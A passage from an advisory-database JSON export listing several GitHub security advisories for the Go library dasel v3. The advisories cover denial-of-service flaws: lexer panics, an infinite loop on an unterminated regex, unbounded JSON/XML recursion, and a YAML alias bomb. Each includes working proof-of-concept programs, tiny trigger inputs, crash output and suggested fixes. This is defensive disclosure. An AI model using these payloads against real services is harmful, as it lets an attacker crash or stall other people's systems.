lexer.NewTokenizer(\"a \").Tokenize()\n}\n```\n\n## Impact\n\nProcess crash, no auth, no preconditions. Same severity tier as the two May 13 advisories on this file.\n\n## Affected versions\n\nAll v3.x. The whitespace-skip loop was added in `78fcca9` (Dasel V3, ~9 months ago); line 60's indexing landed in `9bfe966` (~6 months ago). Reproduced on `github.com/tomwright/dasel/v3@v3.11.0`.\n\n## Suggested fix\n\nOne line, between the whitespace-skip loop and the comment-skip access. Same shape as lines 69-71:\n\n```go\nfunc (p *Tokenizer) parseCurRune() (Token, error) {\n\tfor p.i \u003c p.srcLen \u0026\u0026 unicode.IsSpace(rune(p.src[p.i])) {\n\t\tp.i++\n\t}\n\n\tif p.i \u003e= p.srcLen {\n\t\treturn NewToken(EOF, \"\", p.i, 0), nil\n\t}\n\n\tif p.src[p.i] == '/' \u0026\u0026 p.i+1 \u003c p.srcLen \u0026\u0026 p.src[p.i+1] == '/' {\n```\n\n## Prevalence\n\nThe other two cases in this class shipped fixes two weeks ago; this one wasn't covered in those patches. I checked the rest of `parseCurRune` for other unguarded direct-access points after a `pos++` - nothing else stood out. A `testing.F` harness on `lexer.NewTokenizer(s).Tokenize()` catches all three with trivially short inputs and would close the class.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-22T19:52:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/TomWright/dasel/security/advisories/GHSA-65gg-g7rw-6cpc","https://nvd.nist.gov/vuln/detail/CVE-2026-62866","https://github.com/TomWright/dasel/commit/eee03aec28d4a33d6138098d065b7b37b85e3c55","https://github.com/TomWright/dasel/releases/tag/v3.11.2","https://github.com/advisories/GHSA-65gg-g7rw-6cpc"],"source_kind":"github","identifiers":["GHSA-65gg-g7rw-6cpc","CVE-2026-62866"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-22T20:00:13.032Z","updated_at":"2026-09-25T12:00:17.687Z","epss_percentage":0.00192,"epss_percentile":0.07863,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWdnLWc3cnctNmNwY84AB6SB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NWdnLWc3cnctNmNwY84AB6SB","packages":[{"ecosystem":"go","package_name":"github.com/tomwright/dasel/v3","versions":[{"first_patched_version":"3.11.2","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.11.2"}],"purl":"pkg:go/github.com%2Ftomwright%2Fdasel%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWdnLWc3cnctNmNwY84AB6SB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcXhyLWp4cjItODVwcc4AB6SA","url":"https://github.com/advisories/GHSA-cqxr-jxr2-85pq","title":"Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS","description":"## Summary\n\n`dasel`'s JSON and XML readers parse nested structures with unbounded recursion, one\nnative stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply\nnested document drives the Go runtime past its goroutine stack limit and triggers a\n`fatal error: stack overflow`. This is **unrecoverable**: it is a runtime fatal error, not\na `panic`, so a consumer's `defer`/`recover` cannot intercept it, the entire process dies.\n\nBoth readers are affected; neither has a depth limit, and the JSON reader additionally has\nno input-size cap (the XML reader caps size at 10 MB but not depth).\n\n## Affected Versions\n\n`github.com/tomwright/dasel/v3` and all v3.x releases through **v3.11.0** (current `main`,\ncommit `abc1e1d`). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.\n\n## Description\n\n### JSON reader @ `parsing/json/json_reader.go`\n\n`decodeValue` (line 54) dispatches to the mutually-recursive `decodeObject` (line 78) and\n`decodeArray` (line 140). Each calls back into both for nested values\n(`decodeArray`→`decodeArray` at line 151, `decodeObject` at 163; `decodeObject`→`decodeArray`\nat 95, `decodeObject` at 111). Every `[` or `{` in the input adds one stack frame. There is\n**no depth counter and no `len(data)` cap** anywhere in the reader.\n\n### XML reader @`parsing/xml/reader.go`\n\n`parseElement` (line 172) recurses at line 211 for every `xml.StartElement`. The file\ndeclares explicit DoS guards — `maxXMLSize = 10_000_000`, comment count/length — but these\nbound **size and comment volume, not nesting depth**. The open tag `\u003ca\u003e` is 3 bytes, so the\n10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size\nlimit fires.\n\n### Reachability (both)\n\nBoth are on the primary public read path: `parsing.Format(\u003cfmt\u003e).NewReader(opts).Read(data)`,\nwith `data` fully attacker-controlled and no depth validation before the recursion. The same\npath backs the `dasel` CLI (`dasel -r json` / `-r xml`). Default reader, no special options.\nGo stack overflow is a `fatal error`, so `recover()` at the call site does not help.\n\n### Precedent in this codebase\n\nDoS hardening on the readers is already an accepted concern here, which is why this is a gap\nrather than a design choice: the XML reader has the `maxXMLSize` cap, and the **YAML reader\nalready implements exactly the fix needed**, `parsing/yaml/yaml_reader.go:31,90-93` returns\n`ErrYamlExpansionDepthExceeded` once `expansionDepth \u003e maxExpansionDepth`. The JSON and XML\nreaders simply lack the equivalent depth guard.\n\n## Proof of Concept\n\nSingle runnable program, public API only (`poc/main.go`, module wired to a local clone via\n`replace`):\n\n```go\npackage main\n\nimport (\n\t\"fmt\"; \"os\"; \"strings\"\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/json\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/xml\"\n)\n\nfunc main() {\n\tmode := \"json\"; if len(os.Args) \u003e 1 { mode = os.Args[1] }\n\tdepth := 6_000_000; if mode == \"xml\" { depth = 3_200_000 }\n\n\tvar data []byte\n\tif mode == \"xml\" {\n\t\tdata = []byte(strings.Repeat(\"\u003ca\u003e\", depth))          // ~9.6MB, under the 10MB cap\n\t} else {\n\t\tdata = []byte(strings.Repeat(\"[\", depth) + strings.Repeat(\"]\", depth)) // ~12MB\n\t}\n\n\tdefer func() { if r := recover(); r != nil { fmt.Println(\"recovered (NOT fatal):\", r) } }()\n\tr, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())\n\tv, err := r.Read(data)\n\tfmt.Printf(\"Read returned WITHOUT crash: v=%v err=%v\\n\", v != nil, err)\n}\n```\n\n```\ngo run . json    # nested arrays -\u003e fatal error: stack overflow ; ~85 decodeArray frames\ngo run . xml     # nested \u003ca\u003e    -\u003e fatal error: stack overflow ; ~93 parseElement frames\n```\n\nObserved (Go 1.26, default 1 GB goroutine stack):\n- `json` depth 6 M (12 MB): `runtime: goroutine stack exceeds 1000000000-byte limit` →\n  `fatal error: stack overflow`; backtrace dominated by `json.(*jsonReader).decodeArray`.\n  `depth 2 M` completes (~0.83 s), confirming it is depth-driven, not a parse error.\n- `xml` depth 3.2 M (9.6 MB, **under** the 10 MB `maxXMLSize` cap): same fatal overflow;\n  backtrace is an unbroken chain of `xml.(*xmlReader).parseElement` at `reader.go:211`.\n- The deferred `recover()` never fires in either case — the process exits.\n- CLI equivalents: `printf '\u003ca\u003e%.0s' {1..3200000} | dasel -r xml`.\n\n## Impact\n\nAn attacker who controls JSON or XML passed to dasel — via the library `Read` API, the CLI,\nor the `parse('json'|'xml', …)` selector function — crashes the host process with a single\nsmall document. Because the failure is a Go `fatal error` rather than a recoverable panic, a\nconsumer that wraps parsing in `defer`/`recover` is **still** taken down: the whole process\nterminates, killing every in-flight goroutine, not just the parse. Availability only — no\nconfidentiality or integrity impact. For a library consumer feeding network-sourced data to\n`Read`, this is a remotely triggerable, unrecoverable DoS.\n\n## Suggested Fix\n\nAdd a recursion-depth guard to both readers, mirroring the YAML reader's existing\n`maxExpansionDepth` / `ErrYamlExpansionDepthExceeded` pattern:\n\n- **JSON** — thread a `depth int` through `decodeValue`/`decodeObject`/`decodeArray`,\n  increment on descent, return `ErrJSONMaxDepthExceeded` past a conservative bound\n  (e.g. 10 000). Optionally add a `maxJSONSize` cap matching `maxXMLSize` for parity.\n- **XML** — add a `maxXMLDepth` constant to the existing `Security limits` block and thread\n  a `depth` through `parseElement`, returning a normal error past the bound.\n\nBoth return a clean `error` for pathological input instead of crashing the process,\nconsistent with how the comment-count, size, and YAML-expansion limits already behave. A\nlimit in the low thousands preserves all realistic legitimate documents.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-22T19:51:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/TomWright/dasel/security/advisories/GHSA-cqxr-jxr2-85pq","https://nvd.nist.gov/vuln/detail/CVE-2026-59168","https://github.com/TomWright/dasel/commit/4c91d0d02dc59ce8404709b1bfed7a6fabe62f68","https://github.com/TomWright/dasel/releases/tag/v3.11.1","https://github.com/advisories/GHSA-cqxr-jxr2-85pq"],"source_kind":"github","identifiers":["GHSA-cqxr-jxr2-85pq","CVE-2026-59168"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-22T20:00:13.033Z","updated_at":"2026-09-25T12:00:17.688Z","epss_percentage":0.0013,"epss_percentile":0.02166,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcXhyLWp4cjItODVwcc4AB6SA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcXhyLWp4cjItODVwcc4AB6SA","packages":[{"ecosystem":"go","package_name":"github.com/tomwright/dasel/v3","versions":[{"first_patched_version":"3.11.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.11.0"}],"purl":"pkg:go/github.com%2Ftomwright%2Fdasel%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcXhyLWp4cjItODVwcc4AB6SA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNnhyLWZ2ZmctNWc2NM4ABXHw","url":"https://github.com/advisories/GHSA-m6xr-fvfg-5g64","title":"Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal","description":"### Summary\n\n`dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247):\n\n```go\nmatchRegexPattern := func(pos int) *Token {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil\n    }\n    start := pos\n    pos += 2\n    for !p.peekRuneEqual(pos, '/') {  // line 243\n        pos++\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))\n}\n```\n\nWhen no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos \u003e= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.\n\nMinimal trigger: `r/` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{\"r/unterminated\", \"r/\"} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tdone := make(chan string, 1)\n\t\tgo func() {\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\tstart := time.Now()\n\t\t\ttokens, err := t.Tokenize()\n\t\t\telapsed := time.Since(start)\n\t\t\tif err != nil {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t\t} else {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"OK after %v: %d tokens\", elapsed, len(tokens))\n\t\t\t}\n\t\t}()\n\n\t\tselect {\n\t\tcase result := \u003c-done:\n\t\t\tfmt.Println(result)\n\t\tcase \u003c-time.After(5 * time.Second):\n\t\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\")\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: r/unterminated\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n\nInput: r/\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nThe regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example:\n\n```go\nmatchRegexPattern := func(pos int) (*Token, error) {\n    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {\n        return nil, nil\n    }\n    start := pos\n    pos += 2\n    for pos \u003c p.srcLen \u0026\u0026 p.src[pos] != '/' {\n        pos++\n    }\n    if pos \u003e= p.srcLen {\n        return nil, \u0026UnexpectedEOFError{Pos: pos}\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T20:09:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64","https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed","https://github.com/advisories/GHSA-m6xr-fvfg-5g64"],"source_kind":"github","identifiers":["GHSA-m6xr-fvfg-5g64","CVE-2026-46378"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T21:00:18.819Z","updated_at":"2026-09-28T20:03:11.958Z","epss_percentage":0.0016,"epss_percentile":0.04541,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNnhyLWZ2ZmctNWc2NM4ABXHw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNnhyLWZ2ZmctNWc2NM4ABXHw","packages":[{"ecosystem":"go","package_name":"github.com/tomwright/dasel/v3","versions":[{"first_patched_version":"3.10.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.10.1"}],"purl":"pkg:go/github.com%2Ftomwright%2Fdasel%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNnhyLWZ2ZmctNWc2NM4ABXHw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNWozLTQ2MzQtYzJ2cc4ABXHv","url":"https://github.com/advisories/GHSA-m5j3-4634-c2vq","title":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string","description":"### Summary\n\n`dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `\"\\` or `'\\`). A 2-byte input causes an immediate process crash via Go runtime panic.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194):\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check\n    pos++\n    continue\n}\n```\n\nWhen a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check.\n\nMinimal trigger: `\"\\` or `'\\` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{`\"\\`, `'\\`} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tfunc() {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tfmt.Printf(\"PANIC: %v\\n\", r)\n\t\t\t\t\tdebug.PrintStack()\n\t\t\t\t}\n\t\t\t}()\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\ttokens, err := t.Tokenize()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"OK: %d tokens\\n\", len(tokens))\n\t\t\t}\n\t\t}()\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: \"\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n\nInput: '\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nAdd a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings:\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    if pos \u003e= p.srcLen {\n        return Token{}, \u0026UnexpectedEOFError{Pos: pos}\n    }\n    buf = append(buf, rune(p.src[pos]))\n    pos++\n    continue\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T20:08:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq","https://github.com/advisories/GHSA-m5j3-4634-c2vq"],"source_kind":"github","identifiers":["GHSA-m5j3-4634-c2vq","CVE-2026-46377"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T21:00:18.819Z","updated_at":"2026-09-25T12:03:31.358Z","epss_percentage":0.00184,"epss_percentile":0.07018,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNWozLTQ2MzQtYzJ2cc4ABXHv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNWozLTQ2MzQtYzJ2cc4ABXHv","packages":[{"ecosystem":"go","package_name":"github.com/tomwright/dasel/v3","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.10.0"}],"purl":"pkg:go/github.com%2Ftomwright%2Fdasel%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNWozLTQ2MzQtYzJ2cc4ABXHv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ZmNwLWp4aDctMjN4OM4ABT2w","url":"https://github.com/advisories/GHSA-4fcp-jxh7-23x8","title":"Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service","description":"### Summary\n\n`dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n    newVal := \u0026yamlValue{}\n    if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n        return err\n    }\n    yv.value = newVal.value\n    yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: \u0026a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), \u0026v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel's YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone \u003c- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := \u003c-done:\n\t\tfmt.Println(result)\n\tcase \u003c-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel's YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-19T12:50:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8","https://nvd.nist.gov/vuln/detail/CVE-2026-33320","https://github.com/advisories/GHSA-4fcp-jxh7-23x8"],"source_kind":"github","identifiers":["GHSA-4fcp-jxh7-23x8","CVE-2026-33320"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-09-25T12:05:10.862Z","epss_percentage":0.0017,"epss_percentile":0.05588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ZmNwLWp4aDctMjN4OM4ABT2w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ZmNwLWp4aDctMjN4OM4ABT2w","packages":[{"ecosystem":"go","package_name":"github.com/tomwright/dasel/v3","versions":[{"first_p